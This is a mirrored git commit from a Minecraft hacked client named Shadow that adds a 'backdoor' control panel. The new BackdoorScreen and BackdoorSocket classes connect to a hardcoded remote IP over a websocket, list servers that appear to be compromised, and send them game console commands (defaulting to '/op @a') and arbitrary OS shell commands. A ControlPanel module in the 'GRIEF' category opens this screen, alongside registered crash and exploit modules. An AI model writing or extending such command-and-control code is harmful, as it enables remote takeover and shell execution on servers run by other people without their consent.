mirror of
https://github.com/Miasmusa/Shadow.git
synced 2024-11-28 18:26:15 -05:00
backdoor screen impl
This commit is contained in:
parent
e7d68870bd
commit
e0256a4a68
7 changed files with 407 additions and 47 deletions
|
@ -0,0 +1,91 @@
|
|||
package net.shadow.client.feature.gui.backdoor;
|
||||
|
||||
import java.awt.Color;
|
||||
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.shadow.client.helper.font.FontRenderers;
|
||||
import net.shadow.client.helper.render.Renderer;
|
||||
|
||||
public class BackdoorEntry {
|
||||
|
||||
double x, y, width, height;
|
||||
int id;
|
||||
public String canonicalid;
|
||||
String ip, motd;
|
||||
Color flipflop = new Color(25, 25, 25, 255);
|
||||
|
||||
public BackdoorEntry(double x, double y, double w, double h, int id, String cid, String ip, String motd) {
|
||||
this.x = x;
|
||||
this.y = y;
|
||||
this.width = w;
|
||||
this.height = h;
|
||||
this.id = id;
|
||||
this.canonicalid = cid;
|
||||
this.ip = ip;
|
||||
this.motd = motd;
|
||||
}
|
||||
|
||||
public void render(MatrixStack matrices) {
|
||||
Renderer.R2D.renderRoundedQuad(matrices, flipflop, x, y, x + width, y + height, 5, 10);
|
||||
FontRenderers.getRenderer().drawString(matrices, ip, x + 5, y + 5, 0xFFFFFF);
|
||||
FontRenderers.getRenderer().drawString(matrices, motd, x + 5, y + 25, 0xFFFFFF);
|
||||
}
|
||||
|
||||
public boolean inBounds(double cx, double cy) {
|
||||
return cx >= x && cx < x + width && cy >= y && cy < y + height;
|
||||
}
|
||||
|
||||
|
||||
public boolean clicked(double x, double y, int button, BackdoorScreen callback){
|
||||
if(inBounds(x, y)){
|
||||
callback.postMessage(this.id);
|
||||
System.out.println("sus");
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public void postMessage(String cmd){
|
||||
switch(cmd){
|
||||
case "sel" -> {
|
||||
flipflop = new Color(15, 15, 15, 255);
|
||||
}
|
||||
|
||||
case "desel" -> {
|
||||
flipflop = new Color(25, 25, 25, 255);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public double getWidth() {
|
||||
return width;
|
||||
}
|
||||
|
||||
public void setWidth(double width) {
|
||||
this.width = width;
|
||||
}
|
||||
|
||||
public double getHeight() {
|
||||
return height;
|
||||
}
|
||||
|
||||
public void setHeight(double height) {
|
||||
this.height = height;
|
||||
}
|
||||
|
||||
public double getY() {
|
||||
return y;
|
||||
}
|
||||
|
||||
public void setY(double y) {
|
||||
this.y = y;
|
||||
}
|
||||
|
||||
public double getX() {
|
||||
return x;
|
||||
}
|
||||
|
||||
public void setX(double x) {
|
||||
this.x = x;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,159 @@
|
|||
package net.shadow.client.feature.gui.backdoor;
|
||||
|
||||
import java.awt.Color;
|
||||
import java.net.URI;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
import org.java_websocket.WebSocket;
|
||||
import org.lwjgl.glfw.GLFW;
|
||||
|
||||
import net.minecraft.client.gui.screen.Screen;
|
||||
import net.minecraft.client.gui.widget.ButtonWidget;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.text.LiteralText;
|
||||
import net.minecraft.text.Text;
|
||||
import net.shadow.client.ShadowMain;
|
||||
import net.shadow.client.feature.config.StringSetting;
|
||||
import net.shadow.client.feature.gui.clickgui.element.impl.config.StringSettingEditor;
|
||||
import net.shadow.client.feature.gui.screen.ClientScreen;
|
||||
import net.shadow.client.feature.gui.widget.RoundButton;
|
||||
import net.shadow.client.feature.items.impl.Backdoor;
|
||||
import net.shadow.client.helper.render.MSAAFramebuffer;
|
||||
import net.shadow.client.helper.render.Renderer;
|
||||
|
||||
public class BackdoorScreen extends Screen{
|
||||
|
||||
String serverid = "";
|
||||
List<BackdoorEntry> servers = new ArrayList<BackdoorEntry>();
|
||||
StringSetting cmd = new StringSetting.Builder("/op @a").name("Console Command").get();
|
||||
StringSettingEditor cmdstat = new StringSettingEditor(425, 10, 400, cmd);
|
||||
StringSetting shell = new StringSetting.Builder("echo hi").name("Shell Command").get();
|
||||
StringSettingEditor shellstat = new StringSettingEditor(425, 50, 400, shell);
|
||||
BackdoorSocket bs;
|
||||
|
||||
public BackdoorScreen() {
|
||||
super(Text.of("uwu"));
|
||||
this.bs = new BackdoorSocket(URI.create("ws://45.142.115.91/"), this);
|
||||
servers.clear();
|
||||
bs.connect();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void init() {
|
||||
}
|
||||
|
||||
void runshell(){
|
||||
System.out.println("running");
|
||||
this.bs.send("{\"op\":\"sendServer\",\"data\":{\"id\":\""+serverid+"\",\"payload\":{\"op\":\"executeSystem\",\"data\":{\"command\":\""+ shell.getValue() +"\"}}}}");
|
||||
}
|
||||
|
||||
void runconsole(){
|
||||
System.out.println("firing");
|
||||
this.bs.send("{\"op\":\"sendServer\",\"data\":{\"id\":\""+serverid+"\",\"payload\":{\"op\":\"execute\",\"data\":{\"command\":\""+ cmd.getValue() +"\"}}}}");
|
||||
}
|
||||
|
||||
void runDynamic(String payload){
|
||||
System.out.println("firing");
|
||||
this.bs.send("{\"op\":\"sendServer\",\"data\":{\"id\":\""+serverid+"\",\"payload\":{\"op\":\"execute\",\"data\":{\"command\":\""+ payload+"\"}}}}");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void render(MatrixStack matrices, int mouseX, int mouseY, float delta) {
|
||||
MSAAFramebuffer.use(MSAAFramebuffer.MAX_SAMPLES, () -> {
|
||||
cmdstat.render(matrices, mouseX, mouseY, delta);
|
||||
shellstat.render(matrices, mouseX, mouseY, delta);
|
||||
Renderer.R2D.renderRoundedQuad(matrices, new Color(100, 100, 100, 255), 5, 5, 415, ShadowMain.client.getWindow().getScaledHeight() - 5, 5, 10);
|
||||
Renderer.R2D.renderQuad(matrices, new Color(0, 0, 0, 150), 0, 0, ShadowMain.client.getWindow().getScaledWidth(), ShadowMain.client.getWindow().getScaledHeight());
|
||||
for(BackdoorEntry server : servers){
|
||||
server.render(matrices);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public boolean mouseScrolled(double mouseX, double mouseY, double amount) {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean mouseClicked(double mouseX, double mouseY, int button) {
|
||||
for(BackdoorEntry server : servers){
|
||||
server.clicked(mouseX, mouseY, button, this);
|
||||
}
|
||||
cmdstat.clicked(mouseX, mouseY, button);
|
||||
shellstat.clicked(mouseX, mouseY, button);
|
||||
return super.mouseClicked(mouseX, mouseY, button);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean mouseReleased(double mouseX, double mouseY, int button) {
|
||||
return super.mouseReleased(mouseX, mouseY, button);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean mouseDragged(double mouseX, double mouseY, int button, double deltaX, double deltaY) {
|
||||
return super.mouseDragged(mouseX, mouseY, button, deltaX, deltaY);
|
||||
}
|
||||
|
||||
|
||||
void execute(){
|
||||
if(shellstat.getRawParent().isFocused()){
|
||||
runshell();
|
||||
}
|
||||
if(cmdstat.getRawParent().isFocused()){
|
||||
runconsole();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean keyPressed(int keyCode, int scanCode, int modifiers) {
|
||||
if (keyCode == GLFW.GLFW_KEY_ENTER || keyCode == GLFW.GLFW_KEY_KP_ENTER) {
|
||||
execute();
|
||||
return true;
|
||||
}
|
||||
shellstat.keyPressed(keyCode, modifiers);
|
||||
cmdstat.keyPressed(keyCode, modifiers);
|
||||
return super.keyPressed(keyCode, scanCode, modifiers);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean shouldPause() {
|
||||
return false;
|
||||
}
|
||||
|
||||
public void postMessage(int id) {
|
||||
for(BackdoorEntry server : servers){
|
||||
if(server.id == id){
|
||||
server.postMessage("sel");
|
||||
serverid = server.canonicalid;
|
||||
}else{
|
||||
server.postMessage("desel");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void socketPostMessage(String[] data, int id){
|
||||
switch(id){
|
||||
case 0 -> {
|
||||
servers.add(new BackdoorEntry(10, 10 + (60 * servers.size()), 400, 50, servers.size(), data[0], data[1], data[2]));
|
||||
}
|
||||
|
||||
case 1 ->{
|
||||
for(BackdoorEntry server : new ArrayList<>(servers)){
|
||||
if(server.canonicalid == data[0]){
|
||||
servers.remove(server);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean charTyped(char chr, int modifiers) {
|
||||
cmdstat.charTyped(chr, modifiers);
|
||||
shellstat.charTyped(chr, modifiers);
|
||||
return false;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,55 @@
|
|||
package net.shadow.client.feature.gui.backdoor;
|
||||
|
||||
import java.net.URI;
|
||||
|
||||
import com.google.gson.*;
|
||||
|
||||
import org.java_websocket.client.WebSocketClient;
|
||||
import org.java_websocket.handshake.ServerHandshake;
|
||||
|
||||
public class BackdoorSocket extends WebSocketClient{
|
||||
|
||||
BackdoorScreen callback;
|
||||
|
||||
public BackdoorSocket(URI serverUri, BackdoorScreen callback) {
|
||||
super(serverUri);
|
||||
this.callback = callback;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onOpen(ServerHandshake handshakedata) {
|
||||
System.out.println("Authenticating...");
|
||||
send("{\"op\":\"identifyDashboard\"}");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onMessage(String message) {
|
||||
JsonObject msg = JsonParser.parseString(message).getAsJsonObject();
|
||||
String opcode = msg.get("op").getAsString();
|
||||
switch(opcode){
|
||||
case "serverConnect" -> {
|
||||
JsonObject dataobj = msg.get("data").getAsJsonObject();
|
||||
callback.socketPostMessage(new String[]{dataobj.get("id").getAsString(), dataobj.get("name").getAsString(), dataobj.get("motd").getAsString()}, 0);
|
||||
}
|
||||
|
||||
|
||||
case "serverDisconnect" -> {
|
||||
JsonObject dataobj = msg.get("data").getAsJsonObject();
|
||||
callback.socketPostMessage(new String[]{dataobj.get("id").getAsString()}, 1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onClose(int code, String reason, boolean remote) {
|
||||
// TODO Auto-generated method stub
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onError(Exception ex) {
|
||||
// TODO Auto-generated method stub
|
||||
|
||||
}
|
||||
|
||||
}
|
|
@ -23,6 +23,10 @@ public class StringSettingEditor extends ConfigBase<StringSetting> {
|
|||
this.height = h + FontRenderers.getRenderer().getMarginHeight() + 1;
|
||||
}
|
||||
|
||||
public RoundTextFieldWidget getRawParent(){
|
||||
return input;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean clicked(double x, double y, int button) {
|
||||
return input.mouseClicked(x, y, button);
|
||||
|
|
|
@ -100,7 +100,7 @@ public class LoadingScreen extends ClientScreen implements FastTickable {
|
|||
es.execute(() -> {
|
||||
if(new File(ShadowMain.BASE.getPath()+ resource.getWhere().getPath()+".png").exists()) {
|
||||
try {
|
||||
BufferedImage bufferedImage = ImageIO.read(new File(ShadowMain.BASE.getPath()+ resource.getWhere().getPath()+".png"));
|
||||
BufferedImage bufferedImage = ImageIO.read(new File(ShadowMain.BASE.getPath() + resource.getWhere().getPath()+".png"));
|
||||
Utils.registerBufferedImageTexture(resource.getWhere(),bufferedImage);
|
||||
} catch (IOException ignore) {
|
||||
|
||||
|
@ -109,53 +109,54 @@ public class LoadingScreen extends ClientScreen implements FastTickable {
|
|||
progressMap.get(resource).getWorkingOnIt().set(false);
|
||||
}
|
||||
return;
|
||||
}
|
||||
ShadowMain.log(Level.INFO, "Downloading " + resource.getDownloadUrl());
|
||||
progressMap.get(resource).getWorkingOnIt().set(true);
|
||||
try {
|
||||
|
||||
URL url = new URL(resource.getDownloadUrl());
|
||||
HttpURLConnection httpConnection = (HttpURLConnection) (url.openConnection());
|
||||
long completeFileSize = httpConnection.getContentLength();
|
||||
|
||||
BufferedInputStream in = new BufferedInputStream(httpConnection.getInputStream());
|
||||
ByteArrayOutputStream bout = new ByteArrayOutputStream();
|
||||
byte[] data = new byte[16];
|
||||
long downloadedFileSize = 0;
|
||||
int x;
|
||||
progressMap.get(resource).getProgress().set(0.1);
|
||||
while ((x = in.read(data, 0, 16)) >= 0) {
|
||||
downloadedFileSize += x;
|
||||
|
||||
double currentProgress = ((double) downloadedFileSize) / ((double) completeFileSize);
|
||||
// progress.set(MathHelper.lerp(currentProgress, progressBefore, completedProgress));
|
||||
progressMap.get(resource).getProgress().set(currentProgress * 0.8 + 0.1);
|
||||
|
||||
bout.write(data, 0, x);
|
||||
}else{
|
||||
ShadowMain.log(Level.INFO, "Downloading " + resource.getDownloadUrl());
|
||||
progressMap.get(resource).getWorkingOnIt().set(true);
|
||||
try {
|
||||
|
||||
URL url = new URL(resource.getDownloadUrl());
|
||||
HttpURLConnection httpConnection = (HttpURLConnection) (url.openConnection());
|
||||
long completeFileSize = httpConnection.getContentLength();
|
||||
|
||||
BufferedInputStream in = new BufferedInputStream(httpConnection.getInputStream());
|
||||
ByteArrayOutputStream bout = new ByteArrayOutputStream();
|
||||
byte[] data = new byte[16];
|
||||
long downloadedFileSize = 0;
|
||||
int x;
|
||||
progressMap.get(resource).getProgress().set(0.1);
|
||||
while ((x = in.read(data, 0, 16)) >= 0) {
|
||||
downloadedFileSize += x;
|
||||
|
||||
double currentProgress = ((double) downloadedFileSize) / ((double) completeFileSize);
|
||||
// progress.set(MathHelper.lerp(currentProgress, progressBefore, completedProgress));
|
||||
progressMap.get(resource).getProgress().set(currentProgress * 0.8 + 0.1);
|
||||
|
||||
bout.write(data, 0, x);
|
||||
}
|
||||
bout.close();
|
||||
in.close();
|
||||
byte[] imageBuffer = bout.toByteArray();
|
||||
BufferedImage bi = ImageIO.read(new ByteArrayInputStream(imageBuffer));
|
||||
Utils.registerBufferedImageTexture(resource.getWhere(), bi);
|
||||
ShadowMain.log(Level.INFO, "Downloaded " + resource.getDownloadUrl());
|
||||
if(!new File(ShadowMain.BASE.getPath() + resource.getWhere().getPath()+".png").getParentFile().exists()) {
|
||||
new File(ShadowMain.BASE.getPath() + resource.getWhere().getPath()+".png").getParentFile().mkdir();
|
||||
}
|
||||
new File(ShadowMain.BASE.getPath()+resource.getWhere().getPath()+".png").createNewFile();
|
||||
FileOutputStream output = new FileOutputStream(ShadowMain.BASE.getPath()+resource.getWhere().getPath()+".png");
|
||||
output.write(imageBuffer);
|
||||
output.close();
|
||||
|
||||
} catch (Exception e) {
|
||||
ShadowMain.log(Level.ERROR, "Failed to download " + resource.getDownloadUrl() + ": " + e.getMessage());
|
||||
BufferedImage empty = new BufferedImage(1, 1, BufferedImage.TYPE_INT_ARGB);
|
||||
empty.setRGB(0, 0, 0xFF000000);
|
||||
Utils.registerBufferedImageTexture(resource.getWhere(), empty);
|
||||
warningIfPresent = "Some textures failed to download. They won't show up in game.";
|
||||
} finally {
|
||||
progressMap.get(resource).getProgress().set(1);
|
||||
progressMap.get(resource).getWorkingOnIt().set(false);
|
||||
}
|
||||
bout.close();
|
||||
in.close();
|
||||
byte[] imageBuffer = bout.toByteArray();
|
||||
BufferedImage bi = ImageIO.read(new ByteArrayInputStream(imageBuffer));
|
||||
Utils.registerBufferedImageTexture(resource.getWhere(), bi);
|
||||
ShadowMain.log(Level.INFO, "Downloaded " + resource.getDownloadUrl());
|
||||
if(!new File(ShadowMain.BASE.getPath() + resource.getWhere().getPath()+".png").getParentFile().exists()) {
|
||||
new File(ShadowMain.BASE.getPath() + resource.getWhere().getPath()+".png").getParentFile().mkdir();
|
||||
}
|
||||
new File(ShadowMain.BASE.getPath()+resource.getWhere().getPath()+".png").createNewFile();
|
||||
FileOutputStream output = new FileOutputStream(ShadowMain.BASE.getPath()+resource.getWhere().getPath()+".png");
|
||||
output.write(imageBuffer);
|
||||
output.close();
|
||||
|
||||
} catch (Exception e) {
|
||||
ShadowMain.log(Level.ERROR, "Failed to download " + resource.getDownloadUrl() + ": " + e.getMessage());
|
||||
BufferedImage empty = new BufferedImage(1, 1, BufferedImage.TYPE_INT_ARGB);
|
||||
empty.setRGB(0, 0, 0xFF000000);
|
||||
Utils.registerBufferedImageTexture(resource.getWhere(), empty);
|
||||
warningIfPresent = "Some textures failed to download. They won't show up in game.";
|
||||
} finally {
|
||||
progressMap.get(resource).getProgress().set(1);
|
||||
progressMap.get(resource).getWorkingOnIt().set(false);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
|
|
@ -41,6 +41,7 @@ import net.shadow.client.feature.module.impl.crash.SSRFCrash;
|
|||
import net.shadow.client.feature.module.impl.crash.SwapCrash;
|
||||
import net.shadow.client.feature.module.impl.exploit.AntiAntiXray;
|
||||
import net.shadow.client.feature.module.impl.exploit.AntiRDI;
|
||||
import net.shadow.client.feature.module.impl.exploit.BeaconSpoofer;
|
||||
import net.shadow.client.feature.module.impl.exploit.BoatCrash;
|
||||
import net.shadow.client.feature.module.impl.exploit.BoatFling;
|
||||
import net.shadow.client.feature.module.impl.exploit.BrandSpoof;
|
||||
|
@ -58,6 +59,7 @@ import net.shadow.client.feature.module.impl.grief.AutoFireball;
|
|||
import net.shadow.client.feature.module.impl.grief.AutoIgnite;
|
||||
import net.shadow.client.feature.module.impl.grief.AutoRun;
|
||||
import net.shadow.client.feature.module.impl.grief.AutoTNT;
|
||||
import net.shadow.client.feature.module.impl.grief.ControlPanel;
|
||||
import net.shadow.client.feature.module.impl.grief.Decimator;
|
||||
import net.shadow.client.feature.module.impl.grief.Explosion;
|
||||
import net.shadow.client.feature.module.impl.grief.MapFuck;
|
||||
|
@ -379,6 +381,8 @@ public class ModuleRegistry {
|
|||
registerModule(Explosion.class);
|
||||
registerModule(SwapCrash.class);
|
||||
registerModule(ImageLoader.class);
|
||||
registerModule(ControlPanel.class);
|
||||
registerModule(BeaconSpoofer.class);
|
||||
|
||||
|
||||
rebuildSharedModuleList();
|
||||
|
|
|
@ -0,0 +1,46 @@
|
|||
/*
|
||||
* Copyright (c) Shadow client, Saturn5VFive and contributors 2022. All rights reserved.
|
||||
*/
|
||||
|
||||
package net.shadow.client.feature.module.impl.grief;
|
||||
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.shadow.client.feature.gui.backdoor.BackdoorScreen;
|
||||
import net.shadow.client.feature.module.Module;
|
||||
import net.shadow.client.feature.module.ModuleType;
|
||||
|
||||
public class ControlPanel extends Module {
|
||||
|
||||
public ControlPanel() {
|
||||
super("ControlPanel", "control servers", ModuleType.GRIEF);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void tick() {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void enable() {
|
||||
client.setScreen(new BackdoorScreen());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disable() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHudRender() {
|
||||
|
||||
}
|
||||
}
|
Loading…
Reference in a new issue